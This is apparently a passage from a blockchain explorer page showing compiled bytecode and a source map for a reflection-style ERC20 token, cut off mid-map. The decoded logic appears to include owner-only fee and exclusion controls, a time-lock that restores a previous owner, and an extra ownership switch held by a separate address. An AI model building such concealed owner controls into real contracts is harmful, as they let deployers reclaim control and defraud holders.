83019390935260409182016000908120918c168152925290205490612686565b600061157a612568565b6001600160a01b0381166000908152600c602052604090205490915060ff16156115d55760405162461bcd60e51b815260040180806020018281038252602c815260200180613fcb602c913960400191505060405180910390fd5b60006115e96115e261256c565b849061258f565b6001600160a01b03831660009081526007602052604090205490915061160f9082612e2e565b6001600160a01b038316600090815260076020526040902055600f546116359082612e2e565b600f55505050565b611645612568565b6003546001600160a01b03908116911614611695576040805162461bcd60e51b81526020600482018190526024820152600080516020613f19833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600b60205260409020805460ff19166001179055565b60175481565b7f000000000000000000000000000000000000000000000000000000000000000081565b60195462010000900460ff1681565b6001600160a01b03166000908152600a6020526040902054601d5460ff90911691565b60155481565b611723612568565b6003546001600160a01b03908116911614611773576040805162461bcd60e51b81526020600482018190526024820152600080516020613f19833981519152604482015290519081900360640190fd5b6001600160a01b0381166000908152600c602052604090205460ff16156117e1576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b6001600160a01b0381166000908152600760205260409020541561183b576001600160a01b038116600090815260076020526040902054611821906112f0565b6001600160a01b0382166000908152600860205260409020555b6001600160a01b03166000818152600c60205260408120805460ff19166001908117909155600d805491820181559091527fd7b6990105719101dabeb77144f2a3385c8033acd3af97e9423a695e81ad1eb50180546001600160a01b0319169091179055565b6001600160a01b03166000908152600b602052604090205460ff1690565b601954600160201b90046001600160a01b031681565b6019546301000000900460ff1681565b6001600160a01b0381166000908152600c602052604081205460ff161561192557506001600160a01b038116600090815260086020526040902054611348565b6001600160a01b038216600090815260076020526040902054611345906112f0565b61194f612568565b6003546001600160a01b0390811691161461199f576040805162461bcd60e51b81526020600482018190526024820152600080516020613f19833981519152604482015290519081900360640190fd5b6003546040516000916001600160a01b031690600080516020613f39833981519152908390a3600380546001600160a01b0319169055565b60105481565b6001600160a01b03166000908152600c602052604090205460ff1690565b6003546001600160a01b031690565b611a12612568565b6003546001600160a01b03908116911614611a62576040805162461bcd60e51b81526020600482018190526024820152600080516020613f19833981519152604482015290519081900360640190fd5b6000815111611aae576040805162461bcd60e51b815260206004820152601360248201527254686520617272617920697320656d7074792160681b604482015290519081900360640190fd5b601d54611af8576040805162461bcd60e51b815260206004820152601360248201527254686520617272617920697320656d7074792160681b604482015290519081900360640190fd5b60005b81518110156112ec57600a6000838381518110611b1457fe5b6020908102919091018101516001600160a01b031682528101919091526040016000205460ff1615611ce15760005b601d54811015611cdf57601d8181548110611b5a57fe5b60009182526020909120015483516001600160a01b0390911690849084908110611b8057fe5b60200260200101516001600160a01b03161415611cd757601d80546000198101908110611ba957fe5b600091825260209091200154601d80546001600160a01b039092169183908110611bcf57fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550601d805480611c0857fe5b6001900381819060005260206000200160006101000a8154906001600160a01b03021916905590556000600b6000858581518110611c4257fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600a6000858581518110611c9357fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550611cdf565b600101611b43565b505b600101611afb565b60138054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610efd5780601f10610ed257610100808354040283529160200191610efd565b6000610f1b611d57612568565b846110fd8560405180606001604052806025815260200161401a6025913960096000611d81612568565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906125ef565b6004546001600160a01b03163314611dfb5760405162461bcd60e51b8152600401808060200182810382526023815260200180613ff76023913960400191505060405180910390fd5b6005544211611e51576040805162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c2037206461797300604482015290519081900360640190fd5b6004546003546040516001600160a01b039283169290911690600080516020613f3983398151915290600090a3600454600380546001600160a01b0319166001600160a01b03909216919091179055565b6000610f1b611eaf612568565b84846127cc565b60185481565b60055490565b611eca612568565b6003546001600160a01b03908116911614611f1a576040805162461bcd60e51b81526020600482018190526024820152600080516020613f19833981519152604482015290519081900360640190fd5b6019805482151562010000810262ff0000199092169190911790915560408051918252517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599181900360200190a150565b601c546001600160a01b0316611f7f612568565b6001600160a01b03161480611fb35750611f976119fb565b6001600160a01b0316611fa8612568565b6001600160a01b0316145b611fed576040805162461bcd60e51b8152602060048083019190915260248201526319985a5b60e21b604482015290519081900360640190fd5b601c80546001600160a01b039092166001600160a01b0319909216821790556000908152600b60205260409020805460ff19166001179055565b61202f612568565b6003546001600160a01b0390811691161461207f576040805162461bcd60e51b81526020600482018190526024820152600080516020613f19833981519152604482015290519081900360640190fd5b61209f606461209983600e5461258f90919063ffffffff16565b90612dec565b60105550565b6120ad612568565b6003546001600160a01b039081169116146120fd576040805162461bcd60e51b81526020600482018190526024820152600080516020613f19833981519152604482015290519081900360640190fd5b601a80546001600160a01b039092166001600160a01b0319909216821790556000908152600b60205260409020805460ff19166001179055565b61213f612568565b6003546001600160a01b0390811691161461218f576040805162461bcd60e51b81526020600482018190526024820152600080516020613f19833981519152604482015290519081900360640190fd5b6001600160a01b0382166121dd57601c546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156121d7573d6000803e3d6000fd5b506112ec565b601c546040805163a9059cbb60e01b81526001600160a01b0392831660048201526024810184905290519184169163a9059cbb916044808201926020929091908290030181600087803b15801561223357600080fd5b505af1158015612247573d6000803e3d6000fd5b505050506040513d602081101561225d57600080fd5b50505050565b61226b612568565b6003546001600160a01b039081169116146122bb576040805162461bcd60e51b81526020600482018190526024820152600080516020613f19833981519152604482015290519081900360640190fd5b60038054600480546001600160a01b03199081166001600160a01b038416179091551690554281016005556040516000908190600080516020613f39833981519152908290a350565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b612337612568565b6003546001600160a01b03908116911614612387576040805162461bcd60e51b81526020600482018190526024820152600080516020613f19833981519152604482015290519081900360640190fd5b602091909155601155565b61239a612568565b6003546001600160a01b039081169116146123ea576040805162461bcd60e51b81526020600482018190526024820152600080516020613f19833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600b60205260409020805460ff19169055565b612413612568565b6001600160a01b0316612424612e70565b6001600160a01b031614612467576040805162461bcd60e51b815260206004820152600560248201526422b93937b960d91b604482015290519081900360640190fd5b6001600160a01b0381166124ac5760405162461bcd60e51b8152600401808060200182810382526026815260200180613e606026913960400191505060405180910390fd5b6003546040516001600160a01b03808416921690600080516020613f3983398151915290600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b60165481565b612504612568565b6003546001600160a01b03908116911614612554576040805162461bcd60e51b81526020600482018190526024820152600080516020613f19833981519152604482015290519081900360640190fd5b601593909355601691909155601755601855565b3390565b6000806000612579612e7f565b90925090506125888282612dec565b9250505090565b60008261259e57506000610f1f565b828202828482816125ab57fe5b04146125e85760405162461bcd60e51b8152600401808060200182810382526021815260200180613ed06021913960400191505060405180910390fd5b9392505050565b6000818484111561267e5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561264357818101518382015260200161262b565b50505050905090810190601f1680156126705780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000828201838110156125e8576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b0383166127255760405162461bcd60e51b8152600401808060200182810382526024815260200180613fa76024913960400191505060405180910390fd5b6001600160a01b03821661276a5760405162461bcd60e51b8152600401808060200182810382526022815260200180613e866022913960400191505060405180910390fd5b6001600160a01b03808416600081815260096020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b601f546127da906001612686565b601f556001600160a01b0383166128225760405162461bcd60e51b8152600401808060200182810382526025815260200180613f826025913960400191505060405180910390fd5b6001600160a01b0382166128675760405162461bcd60e51b8152600401808060200182810382526023815260200180613e136023913960400191505060405180910390fd5b600081116128a65760405162461bcd60e51b8152600401808060200182810382526029815260200180613f596029913960400191505060405180910390fd5b6019546301000000900460ff1661298a576019546001600160a01b03848116600160201b909204161480159061294857507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b0316148061294857507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b0316145b1561298a576040805162461bcd60e51b815260206004820152600d60248201526c1858d8d95cdcc819195b9a5959609a1b604482015290519081900360640190fd5b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b03161480156129e457506129ce6119fb565b6001600160a01b0316836001600160a01b031614155b8015612a0957506129f36119fb565b6001600160a01b0316826001600160a01b031614155b8015612a235750601e546001600160a01b03838116911614155b15612a6957601054811115612a695760405162461bcd60e51b8152600401808060200182810382526028815260200180613ea86028913960400191505060405180910390fd5b6000612a74306118e5565b905060006011548210158015612ab257506000612ab07f00000000000000000000000000000000000000000000000000000000000000006118e5565b115b8015612ac757506019546301000000900460ff165b9050808015612ade5750601954610100900460ff16155b8015612b1c57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b031614155b8015612b30575060195462010000900460ff165b15612b43576011549150612b438261302e565b6001600160a01b0385166000908152600b602052604090205460019060ff1680612b8557506001600160a01b0385166000908152600b602052604090205460ff165b15612b8e575060005b601f5460011415612d9e57808015612bd757507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316866001600160a01b0316145b8015612be557506020548410155b8015612bfe5750601e546001600160a01b031661dead14155b15612c6a57601e54604080516307c1d4c760e01b81526001600160a01b038881166004830152915191909216916307c1d4c791602480830192600092919082900301818387803b158015612c5157600080fd5b505af1158015612c65573d6000803e3d6000fd5b505050505b601954610100900460ff16158015612cb457507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316866001600160a01b031614155b8015612cce5750601e546001600160a01b03878116911614155b8015612ce75750601e546001600160a01b031661dead14155b8015612d1b57506000612d197f00000000000000000000000000000000000000000000000000000000000000006118e5565b115b8015612d3057506019546301000000900460ff165b15612d9e57601e60009054906101000a90046001600160a01b03166001600160a01b0316634028b6bd6040518163ffffffff1660e01b8152600401600060405180830381600087803b158015612d8557600080fd5b505af1158015612d99573d6000803e3d6000fd5b505050505b612daa868686846130f9565b505060408051808201909152601081526f3a3930b739b332b91031b7bab73a32b960811b6020820152601f54612de49250906001906125ef565b601f55505050565b60006125e883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613267565b60006125e883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506125ef565b6006546001600160a01b031690565b600f54600e546000918291825b600d54811015612ffc578260076000600d8481548110612ea857fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180612f0d57508160086000600d8481548110612ee657fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15612f2457600f54600e549450945050505061302a565b612f8a60076000600d8481548110612f3857fe5b60009182526020808320909101546001600160a01b031683528281019390935260409182019020548151808301909252600b82526a7375622072537570706c7960a81b928201929092528591906125ef565b9250612ff260086000600d8481548110612fa057fe5b60009182526020808320909101546001600160a01b031683528281019390935260409182019020548151808301909252600b82526a7375622074537570706c7960a81b928201929092528491906125ef565b9150600101612e8c565b50600e54600f5461300c91612dec565b82101561302457600f54600e5493509350505061302a565b90925090505b9091565b6019805461ff001916610100179055600061304a826002612dec565b90506000613083826040518060400160405280600881526020016739bab1103430b63360c11b815250856125ef9092919063ffffffff16565b90504761308f836132cc565b600061309b4783612e2e565b90506130a783826134e3565b604080518581526020810183905280820185905290517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a150506019805461ff0019169055505050565b80613106576131066135ca565b6001600160a01b0384166000908152600c602052604090205460ff16801561314757506001600160a01b0383166000908152600c602052604090205460ff16155b1561315c576131578484846135e6565b61325a565b6001600160a01b0384166000908152600c602052604090205460ff1615801561319d57506001600160a01b0383166000908152600c602052604090205460ff165b156131ad57613157848484613786565b6001600160a01b0384166000908152600c602052604090205460ff161580156131ef57506001600160a01b0383166000908152600c602052604090205460ff16155b156131ff5761315784848461387d565b6001600160a01b0384166000908152600c602052604090205460ff16801561323f57506001600160a01b0383166000908152600c602052604090205460ff165b1561324f5761315784848461390f565b61325a84848461387d565b8061225d5761225d6139f6565b600081836132b65760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561264357818101518382015260200161262b565b5060008385816132c257fe5b0495945050505050565b604080516002808252606080830184529260208301908036833701905050905030816000815181106132fa57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316635cb485926040518163ffffffff1660e01b815260040160206040518083038186803b15801561337357600080fd5b505afa158015613387573d6000803e3d6000fd5b505050506040513d602081101561339d57600080fd5b50518151829060019081106133ae57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250506133f9307f0000000000000000000000000000000000000000000000000000000000000000846126e0565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663791ac9478360008430426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561349e578181015183820152602001613486565b505050509050019650505050505050600060405180830381600087803b1580156134c757600080fd5b505af11580156134db573d6000803e3d6000fd5b505050505050565b61350e307f0000000000000000000000000000000000000000000000000000000000000000846126e0565b601a546040805163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0392831660848201524260a482015290517f00000000000000000000000000000000000000000000000000000000000000009092169163f305d71991849160c480830192606092919082900301818588803b15801561359f57600080fd5b505af11580156135b3573d6000803e3d6000fd5b50505050506040513d606081101561225d57600080fd5b60195460ff166135d9576135e4565b6019805460ff191690555b565b60008060008060006135f786613a05565b94509450945094509450600080600061361989898661361461256c565b613ac2565b92509250925061367d896040518060400160405280600c81526020016b1cdd588cc81d105b5bdd5b9d60a21b815250600860008f6001600160a01b03166001600160a01b03168152602001908152602001600020546125ef9092919063ffffffff16565b6001600160a01b038c1660008181526008602090815260408083209490945583518085018552600c81526b1cdd588cc81c905b5bdd5b9d60a21b818301529282526007905291909120546136d29185906125ef565b6001600160a01b03808d1660009081526007602052604080822093909355908c16815220546137019083612686565b6001600160a01b038b16600090815260076020526040902055613725878787613afe565b61372e81613ddc565b896001600160a01b03168b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8a6040518082815260200191505060405180910390a35050505050505050505050565b600080600080600061379786613a05565b9450945094509450945060008060006137b489898661361461256c565b925092509250613818836040518060400160405280600c81526020016b1cdd588c881c905b5bdd5b9d60a21b815250600760008f6001600160a01b03166001600160a01b03168152602001908152602001600020546125ef9092919063ffffffff16565b6001600160a01b03808d16600090815260076020908152604080832094909455918d1681526008909152205461384e9089612686565b6001600160a01b038b166000908152600860209081526040808320939093556007905220546137019083612686565b600080600080600061388e86613a05565b9450945094509450945060008060006138ab89898661361461256c565b9250925092506136d2836040518060400160405280600c81526020016b1cdd588c481c905b5bdd5b9d60a21b815250600760008f6001600160a01b03166001600160a01b03168152602001908152602001600020546125ef9092919063ffffffff16565b600080600080600061392086613a05565b94509450945094509450600080600061393d89898661361461256c565b9250925092506139a1896040518060400160405280600c81526020016b1cdd588d081d105b5bdd5b9d60a21b815250600860008f6001600160a01b03166001600160a01b03168152602001908152602001600020546125ef9092919063ffffffff16565b6001600160a01b038c1660008181526008602090815260408083209490945583518085018552600c81526b1cdd588d081c905b5bdd5b9d60a21b818301529282526007905291909120546138189185906125ef565b6019805460ff19166001179055565b601954600090819081908190819060ff16613a2e57508493506000925082915081905080613ab9565b613a4860646120996017548961258f90919063ffffffff16565b9350613a6460646120996016548961258f90919063ffffffff16565b9250613a8060646120996018548961258f90919063ffffffff16565b9150613a9c60646120996015548961258f90919063ffffffff16565b9050613ab681613ab0848187818c8b612e2e565b90612e2e565b94505b91939590929450565b6000808080613ad1888661258f565b90506000613adf888761258f565b90506000613aed888861258f565b929a91995091975095505050505050565b6000613b0861256c565b90506000613b16838361258f565b90506000613b24868461258f565b90506000613b32868561258f565b601d5490915015613b9257601d54601b5410613b4e576000601b555b601d601b5481548110613b5d57fe5b600091825260209091200154601c80546001600160a01b0319166001600160a01b03909216919091179055601b805460010190555b30600090815260076020526040902054613bac9084612686565b30600090815260076020908152604080832093909355600c9052205460ff1615613bfb5730600090815260086020526040902054613bea9086612686565b306000908152600860205260409020555b601c546001600160a01b0316600090815260076020526040902054613c209082612686565b601c80546001600160a01b0390811660009081526007602090815260408083209590955592549091168152600c909152205460ff1615613c9b57601c546001600160a01b0316600090815260086020526040902054613c7f9087612686565b601c546001600160a01b03166000908152600860205260409020555b601e546001600160a01b0316600090815260076020526040902054613cc09083612686565b601e80546001600160a01b0390811660009081526007602090815260408083209590955592549091168152600c909152205460ff1615613d3b57601e546001600160a01b0316600090815260086020526040902054613d1f9088612686565b601e546001600160a01b03166000908152600860205260409020555b8615613d8757601e546040805189815290516001600160a01b039092169130917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35b8515613dd357601c546040805188815290516001600160a01b039092169130917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35b50505050505050565b60408051808201909152600b81526a7265666c6563742066656560a81b6020820152600f54613e0c9183906125ef565b600f555056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65728be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e05472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6f636b45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b386e0f573de7e65642280be1d62e32d7d6fce7bacc55c9b37f5dfa22d6c404564736f6c634300060c0033

Deployed ByteCode Sourcemap

26291:22548:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;32138:545;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;32138:545:0;;;;;;;;;;;;;;;;;:::i;:::-;;32695:83;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;33607:161;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;33607:161:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;31614:196;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;31614:196:0;;;;;;;;-1:-1:-1;;;;;31614:196:0;;:::i;29460:177::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;29460:177:0;-1:-1:-1;;;;;29460:177:0;;:::i;27421:51::-;;;;;;;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;27421:51:0;;;;;;;;;;;;;;32972:95;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;27922:27;;;;;;;;;;;;;:::i;33776:313::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;33776:313:0;;;;;;;;;;;;;;;;;:::i;29794:415::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;29794:415:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;29794:415:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;29794:415:0;;-1:-1:-1;29794:415:0;;-1:-1:-1;;;;;29794:415:0:i;35063:208::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;35063:208:0;;:::i;32881:83::-;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;27832:46;;;;;;;;;;;;;:::i;35618:477::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;35618:477:0;-1:-1:-1;;;;;35618:477:0;;:::i;34097:218::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;34097:218:0;;;;;;;;:::i;34728:327::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;34728:327:0;;:::i;36107:111::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;36107:111:0;-1:-1:-1;;;;;36107:111:0;;:::i;27311:27::-;;;;;;;;;;;;;:::i;27479:38::-;;;;;;;;;;;;;:::i;27552:40::-;;;;;;;;;;;;;:::i;31003:154::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;31003:154:0;-1:-1:-1;;;;;31003:154:0;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;27247:25;;;;;;;;;;;;;:::i;35279:331::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;35279:331:0;-1:-1:-1;;;;;35279:331:0;;:::i;40076:123::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;40076:123:0;-1:-1:-1;;;;;40076:123:0;;:::i;27640:32::-;;;;;;;;;;;;;:::i;27599:34::-;;;;;;;;;;;;;:::i;33075:198::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;33075:198:0;-1:-1:-1;;;;;33075:198:0;;:::i;17626:148::-;;;;;;;;;;;;;:::i;26971:52::-;;;;;;;;;;;;;:::i;34600:120::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;34600:120:0;-1:-1:-1;;;;;34600:120:0;;:::i;15800:79::-;;;;;;;;;;;;;:::i;30221:770::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;30221:770:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;30221:770:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;30221:770:0;;-1:-1:-1;30221:770:0;;-1:-1:-1;;;;;30221:770:0:i;32786:87::-;;;;;;;;;;;;;:::i;34323:269::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;34323:269:0;;;;;;;;:::i;16626:293::-;;;;;;;;;;;;;:::i;33281:167::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;33281:167:0;;;;;;;;:::i;27345:31::-;;;;;;;;;;;;;:::i;16101:89::-;;;;;;;;;;;;;:::i;36519:171::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;36519:171:0;;;;:::i;29250:198::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;29250:198:0;-1:-1:-1;;;;;29250:198:0;;:::i;36351:160::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;36351:160:0;;:::i;29649:133::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;29649:133:0;-1:-1:-1;;;;;29649:133:0;;:::i;31822:304::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;31822:304:0;;;;;;;;:::i;16336:214::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;16336:214:0;;:::i;33456:143::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;33456:143:0;;;;;;;;;;:::i;31426:176::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;31426:176:0;;;;;;;:::i;36230:110::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;36230:110:0;-1:-1:-1;;;;;36230:110:0;;:::i;17933:244::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;17933:244:0;-1:-1:-1;;;;;17933:244:0;;:::i;27279:25::-;;;;;;;;;;;;;:::i;31169:245::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;31169:245:0;;;;;;;;;;;;;;;;;:::i;32138:545::-;16020:12;:10;:12::i;:::-;16010:6;;-1:-1:-1;;;;;16010:6:0;;;:22;;;16002:67;;;;;-1:-1:-1;;;16002:67:0;;;;;;;;;;;;;-1:-1:-1;;;;;;;;;;;16002:67:0;;;;;;;;;;;;;;;32237:17:::1;32258:10;:8;:10::i;:::-;32237:31:::0;-1:-1:-1;32279:15:0::1;32297:22;:7:::0;32237:31;32297:11:::1;:22::i;:::-;32279:40;;32348:42;32368:7;32348:42;;;;;;;;;;;;;-1:-1:-1::0;;;32348:42:0::1;;::::0;:7:::1;:15;32356:6;-1:-1:-1::0;;;;;32348:15:0::1;-1:-1:-1::0;;;;;32348:15:0::1;;;;;;;;;;;;;:19;;:42;;;;;:::i;:::-;-1:-1:-1::0;;;;;32330:15:0;::::1;;::::0;;;:7:::1;:15;::::0;;;;;;;:60;;;;32404:11:::1;:19:::0;;;;::::1;;32401:111;;;32458:42;::::0;;;;::::1;::::0;;::::1;::::0;;-1:-1:-1;;;32458:42:0::1;::::0;;::::1;::::0;;;;-1:-1:-1;;;;;32458:15:0;::::1;-1:-1:-1::0;32458:15:0;;;:7:::1;:15:::0;;;;;;;;:42:::1;::::0;32478:7;;32458:19:::1;:42::i;:::-;-1:-1:-1::0;;;;;32440:15:0;::::1;;::::0;;;:7:::1;:15;::::0;;;;:60;32401:111:::1;-1:-1:-1::0;;;;;32540:15:0;::::1;;::::0;;;:7:::1;:15;::::0;;;;;:28:::1;::::0;32560:7;32540:19:::1;:28::i;:::-;-1:-1:-1::0;;;;;32522:15:0;::::1;;::::0;;;:7:::1;:15;::::0;;;;;;;:46;;;;32582:11:::1;:19:::0;;;;::::1;;32579:97;;;-1:-1:-1::0;;;;;32636:15:0;::::1;;::::0;;;:7:::1;:15;::::0;;;;;:28:::1;::::0;32656:7;32636:19:::1;:28::i;:::-;-1:-1:-1::0;;;;;32618:15:0;::::1;;::::0;;;:7:::1;:15;::::0;;;;:46;32579:97:::1;16080:1;;32138:545:::0;;;:::o;32695:83::-;32765:5;32758:12;;;;;;;;-1:-1:-1;;32758:12:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;32732:13;;32758:12;;32765:5;;32758:12;;32765:5;32758:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;32695:83;:::o;33607:161::-;33682:4;33699:39;33708:12;:10;:12::i;:::-;33722:7;33731:6;33699:8;:39::i;:::-;-1:-1:-1;33756:4:0;33607:161;;;;;:::o;31614:196::-;16020:12;:10;:12::i;:::-;16010:6;;-1:-1:-1;;;;;16010:6:0;;;:22;;;16002:67;;;;;-1:-1:-1;;;16002:67:0;;;;;;;;;;;;;-1:-1:-1;;;;;;;;;;;16002:67:0;;;;;;;;;;;;;;;31719:15:::1;:34:::0;;-1:-1:-1;;;;;31764:38:0;;::::1;-1:-1:-1::0;;;31764:38:0::1;-1:-1:-1::0;;;;;;31719:34:0;::::1;;::::0;::::1;-1:-1:-1::0;;31719:34:0;;::::1;::::0;;;::::1;31764:38:::0;;;::::1;;::::0;;31614:196::o;29460:177::-;29536:7;:5;:7::i;:::-;-1:-1:-1;;;;;29520:23:0;:12;:10;:12::i;:::-;-1:-1:-1;;;;;29520:23:0;;29512:40;;;;;-1:-1:-1;;;29512:40:0;;;;;;;;;;;;;;;-1:-1:-1;;;29512:40:0;;;;;;;;;;;;;;;29563:13;:22;;-1:-1:-1;;;;;29563:22:0;;;-1:-1:-1;;;;;;29563:22:0;;;;;;;:13;29596:26;;;:18;:26;;;;;:33;;-1:-1:-1;;29596:33:0;29563:22;29596:33;;;29460:177::o;27421:51::-;;;:::o;32972:95::-;33052:7;;32972:95;:::o;27922:27::-;;;;:::o;33776:313::-;33874:4;33891:36;33901:6;33909:9;33920:6;33891:9;:36::i;:::-;33938:121;33947:6;33955:12;:10;:12::i;:::-;33969:89;34007:6;33969:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;33969:19:0;;;;;;:11;:19;;;;;;33989:12;:10;:12::i;:::-;-1:-1:-1;;;;;33969:33:0;;;;;;;;;;;;-1:-1:-1;33969:33:0;;;:89;:37;:89::i;:::-;33938:8;:121::i;:::-;-1:-1:-1;34077:4:0;33776:313;;;;;:::o;29794:415::-;16020:12;:10;:12::i;:::-;16010:6;;-1:-1:-1;;;;;16010:6